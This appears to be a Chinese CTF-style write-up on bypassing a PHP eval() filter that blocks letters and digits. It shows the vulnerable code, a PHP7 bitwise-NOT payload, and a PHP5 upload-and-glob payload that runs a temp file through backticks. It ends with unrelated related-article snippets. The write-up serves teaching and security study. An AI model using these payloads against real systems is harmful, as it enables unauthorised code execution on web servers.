RCE---无字母数字webshell
<?php
if(isset($_GET['code'])){$code = $_GET['code'];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]+/",$code)){die("NO.");}eval($code);
}else{highlight_file(__FILE__);
}
分析代码:传参不大于35,且传参不能为字母数字下划线与&符
这种情况怎那么进行命令执行?
php7
PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7后可以。
所以可以在$a的位置写我们想要执行的函数,但这里正则过滤了字母数字,怎么办?
取反
php中’~‘表示取反,而取反之后大都是不可见字符,如:
<?php
var_dump(urlencode(~'system'));
取反后的值为%8C%86%8C%8B%9A%92
解码后

所以答案基本上就出来了,
<?php
var_dump(urlencode(~'phpinfo'));

payload=(~%8F%97%8F%96%91%99%90)();

成功
php5
前面说过,($a)()这种方式实在php7之后才可以使用,那php5下怎么办?

同样的方法php5无法执行
在linux下,使用点+空格+文件名可以在没有执行权限的情况下执行文件,那么我们是否可以通过上传文件然后执行的方式来实现呢?
根据验证,通过post上传的文件会放在/tem/php******,后面的字符是随机的,那么问题来了,怎么匹配到这个文件?
通配符
很多人知道linux通配符有?和*,可以使用通配符来进行匹配,但经过验证,无法准确匹配

但其实还要一直通配符
[^a]表示这里不为a
[0-9]表示0-9这个范围
而注意到linux中文件基本都是小写,我们上传的文件中后几位是随机的,可能包含大写,所以我们就只需要利用[]表示出大写字母就可以了
在ascii表中,大写字母处于@-[之间,所以很明确了,使用/???/???????[@-[]来进行匹配
执行
<!DOCTYPE html>
<html lang="en">
<head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>Document</title>
</head>
<body><form action="web.php" method="post" enctype="multipart/form-data"><input type="file" name="file" id=""><input type="submit" value="submit"></form>
</body>
</html>
写一个form表单上传文件到web.php
使用bp抓包,抓一个上传文件的包和web.php的包
上传:

web.php

把第一个包的post内容放到web.php中
发送请求

成功执行
payload
至于payload为什么要写成
?><?=`. /???/????????[@-[]`;?>
php关于eval这样写的

而<?=是在php5.4之后<? php echo的一种简写
因为php无法执行linux命令,而反引号可以,所以后面加上了反引号
相关文章:
RCE---无字母数字webshell
<?php if(isset($_GET[code])){$code $_GET[code];if(strlen($code)>35){die("Long.");}if(preg_match("/[A-Za-z0-9_$]/",$code)){die("NO.");}eval($code); }else{highlight_file(__FILE__); } 分析代码:传参不大于35&…...
有意思的漏洞复现与分析一
目录 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况,去掉字符 串尾的\0,限制在7个字符。 一、Linux命令长度限制突破方法 1.在二进制漏洞利用中,某师傅遇到可控数据只有8字节的情况&a…...
力扣题解(按身高排序)
2418. 按身高排序 给你一个字符串数组 names ,和一个由 互不相同 的正整数组成的数组 heights 。两个数组的长度均为 n 。 对于每个下标 i,names[i] 和 heights[i] 表示第 i 个人的名字和身高。 请按身高 降序 顺序返回对应的名字数组 names 。 思路&…...
Redis的六种淘汰策略详解
Redis作为一种高性能的键值对存储系统,其数据全部存储在内存中,因此内存管理对Redis的性能至关重要。当Redis的内存使用达到上限时,就需要通过淘汰策略来释放内存空间,以便存储新的数据。Redis提供了六种不同的淘汰策略࿰…...
vue3中 ref 和 reactive 的区别
相同:均是声明响应式对象。且声明的响应式对象是深层的 1. 数据类型不同:ref用于包装JavaScript基本类型的数据(如字符串、数字、布尔值等),而reactive可以用于包装JavaScript对象和数组等复杂类型的数据。 2.访问方式…...
《单例模式的深度解读:实现方式、破坏情况与利弊权衡》
单例模式 一、单例模式的定义 单例模式(Singleton Pattern)是一种常见的软件设计模式,确保一个类只有一个实例存在,并提供一个全局访问点来获取该实例。 二、单例模式的实现方式 1.懒汉式单例 public class LazySingle…...
010607电压源和电流源受控源
电源的理论部分 1.6电压源和电流源1.理想电压源: 1.6电压源和电流源 1.理想电压源: 其两端电压总能保持定值或一定的时间函数,其值与流过它的电流i无关的元件叫理想电压源。 电路符号:中间与导线直通的圆圈 电压源:…...
快乐数求解
编写一个算法来判断一个数 n 是不是快乐数。 「快乐数」 定义为: 对于一个正整数,每一次将该数替换为它每个位置上的数字的平方和。然后重复这个过程直到这个数变为 1,也可能是 无限循环 但始终变不到 1。如果这个过程 结果为 1,…...
运维高级内容--为端口做标记、制定调度规则
rs: yum install mod_ssl -y #安装mod_ssl模块 让rs支持https systemctl restart http lvs: cd /boot/ ls less config-5.14.0-427.13.1.el9_4.x86_64 ipvsadm -A -t 192.168.0.200:80 -s rr ipvsadm -a -t 192.168.0.200:80 -r 192.168.0.10:80 -g -w 1 #轮询调度一次…...
后端Web之HTTP协议基础介绍
目录 1.HTTP概念 2.HTTP请求协议 3.HTTP响应协议 4.HTTP协议解析 1.HTTP概念 HTTP(HyperText Transfer Protocol,超文本传输协议)是一种用于分布式、协作式和超媒体信息系统的应用层协议。它是万维网数据通信的基础,允许将超…...
深入解析Nginx限流策略:如何高效控制访问频率
摘要:本文将详细介绍Nginx限流模块的使用方法,包括基于IP地址的限流、基于并发连接的限流以及如何应对突发流量。通过实际案例,帮助读者掌握Nginx限流策略,确保服务器在高并发场景下的稳定运行。 一、引言 在高并发场景下&#x…...
锂电池剩余寿命预测 | Matlab基于Transformer-GRU的锂电池剩余寿命预测
目录 预测效果基本介绍程序设计参考资料 预测效果 基本介绍 Matlab基于Transformer-GRU的锂电池剩余寿命预测,Transformer结合门控循环单元。 Matlab基于Transformer-GRU的锂电池剩余寿命预测(单变量) 运行环境Matlab2023b及以上。 首先从…...
深入理解Spring的IOC容器与依赖注入
深入理解Spring的IOC容器与依赖注入 引言 Spring框架的核心功能之一就是它的IOC容器,它为开发人员提供了强大的依赖管理和控制反转的能力。本文将详细介绍Spring的IOC容器以及依赖注入的基本概念和实现方式,并通过示例展示如何在实际项目中应用这些技术…...
Qt读写sysfs
本文介绍Qt读写sysfs。 在嵌入式Linux系统上开发Qt应用程序,经常会涉及到外设的控制,比如GPIO,PWM的控制,Linux环境下可以像操作文件一样操作它们,这通常会涉及到sysfs的读写。本文以读写GPIO为例,简要介绍…...
实景三维:解锁地理信息新维度,引领未来城市智慧之钥
在这个信息爆炸与科技日新月异的时代,地理信息与遥感技术正以前所未有的速度改变我们认知世界的方式。在推动“实景三维平台”这一前沿科技的构建上,它不仅是地理信息的立体呈现,更是智慧城市的基石,打开了通往未来城市规划、管理…...
汽车免拆诊断案例 | 2010款劳斯莱斯古斯特车中央信息显示屏提示传动系统故障
故障现象 一辆2010款劳斯莱斯古斯特车,搭载N74发动机,累计行驶里程约为11万km。车主反映,起动发动机后组合仪表和中央信息显示屏均提示传动系统故障。用故障检测仪检测,发现发动机控制模块2(DME2)中存储…...
监督学习和无监督学习是什么?
监督学习和无监督学习是机器学习中的两种基本学习方式,它们在处理数据和训练模型时有着显著的区别。 监督学习 定义: 监督学习是指利用一组已知类别的样本(即标记的数据)来调整分类器的参数,使其达到所要求性能的过程…...
YII2的errorHandler.errorAction失效原因
<?phpreturn [components => [errorHandler => [errorAction => site/error,],] ]; 这段配置存在错误,导致错误处理无法生效。为了解决这个问题,我们需要对配置进行优化。 代码查看:yii\web\ErrorHandler::renderException <?phpprotected function ren…...
已知p指向双向循环链表中的一个结点,其结点结构为data、prior、next三个域,写出算法change(p),交换p所指向的结点和它的前缀结点的顺序。
#include<assert.h> typedef struct SLnode {int data;struct SLnode* prior;struct SLnode* next; }SLnode,*SLnodelist; //创建结点 SLnode* createhead(int data) {SLnode* newnode (SLnode*)malloc(sizeof(SLnode));newnode->data data;newnode->next newno…...
什么是Tensor???为什么人工智能领域论文中经常出现这个名词
文章目录 什么是Tensor??数学符号表示 什么是Tensor?? Tensor,中文叫张量。Tensor实际上就是一个多维数组(multidimensional array)。 而Tensor的目的是能够创造更高维度的矩阵、向量。 数学符…...
面试-并行前缀和优化 Linear Attention
1 什么是前缀和? 定义: 第 k 个元素的状态依赖于第 k-1 个元素; 公式: 前缀和 = 从第 1 个,一直加到当前位置; 例子: 比如有 4 个数: A、B、C、D; 那么前缀和的结果为: S1 = A S2 = A + B S3 = A + B + C S4 = A + B + C + D在 Linear Attention 中有所体现,即,…...
技术赋能旧设备:OpenCore Legacy Patcher让Mac重获新生
技术赋能旧设备:OpenCore Legacy Patcher让Mac重获新生 【免费下载链接】OpenCore-Legacy-Patcher Experience macOS just like before 项目地址: https://gitcode.com/GitHub_Trending/op/OpenCore-Legacy-Patcher 当您的Mac设备被苹果官方系统升级列表排除…...
Path of Building汉化版终极指南:5步掌握流放之路角色构建神器
Path of Building汉化版终极指南:5步掌握流放之路角色构建神器 【免费下载链接】PoeCharm Path of Building Chinese version 项目地址: https://gitcode.com/gh_mirrors/po/PoeCharm 还在为流放之路复杂的角色构建而头疼吗?PoeCharm作为Path of …...
手把手复现金蝶云星空V8.1文件上传漏洞(附POC与修复建议)
金蝶云星空V8.1文件上传漏洞深度解析与实战指南 在企业数字化转型浪潮中,云ERP系统的安全性日益成为关注焦点。近期曝光的金蝶云星空V8.1版本文件上传漏洞,因其无需认证即可利用的特性,被业界评为高危风险。本文将带您从技术原理到实战复现&…...
3分钟掌握Mem Reduct:让你的Windows内存管理说中文
3分钟掌握Mem Reduct:让你的Windows内存管理说中文 【免费下载链接】memreduct Lightweight real-time memory management application to monitor and clean system memory on your computer. 项目地址: https://gitcode.com/gh_mirrors/me/memreduct 还在为…...
开源阅读工具完全指南:从入门到精通的全方位使用手册
开源阅读工具完全指南:从入门到精通的全方位使用手册 【免费下载链接】Yuedu 📚「阅读」自用书源分享 项目地址: https://gitcode.com/gh_mirrors/yu/Yuedu 开源阅读工具是一款功能强大的开源阅读器,它本身不提供内容,而是…...
利用快马平台五分钟搭建openclaw部署原型,验证核心功能
最近在折腾一个开源机器人抓取框架openclaw,想快速验证它的核心功能。但传统部署流程实在太繁琐——要配环境、装依赖、调试各种版本冲突,经常花半天时间还没跑通。后来发现InsCode(快马)平台能一键生成部署原型,五分钟就搞定了测试环境&…...
从本体论到落地实践:制造业数字化转型的核心逻辑与工具选择
在技术领域,我们常常被那些闪耀的、可见的成果所吸引。今天,这个焦点无疑是大语言模型技术。它们的流畅对话、惊人的创造力,让我们得以一窥未来的轮廓。然而,作为在企业一线构建、部署和维护复杂系统的实践者,我们深知…...
突破英雄联盟回放困境:ROFL播放器的全方位解决方案
突破英雄联盟回放困境:ROFL播放器的全方位解决方案 【免费下载链接】ROFL-Player (No longer supported) One stop shop utility for viewing League of Legends replays! 项目地址: https://gitcode.com/gh_mirrors/ro/ROFL-Player 当你想回顾上周那场惊心动…...
解锁Sony相机潜能:PMCA-RE工具全方位技术指南
解锁Sony相机潜能:PMCA-RE工具全方位技术指南 【免费下载链接】Sony-PMCA-RE Reverse Engineering Sony Digital Cameras 项目地址: https://gitcode.com/gh_mirrors/so/Sony-PMCA-RE 副标题:探索相机底层控制与自定义应用开发的开源解决方案 第…...
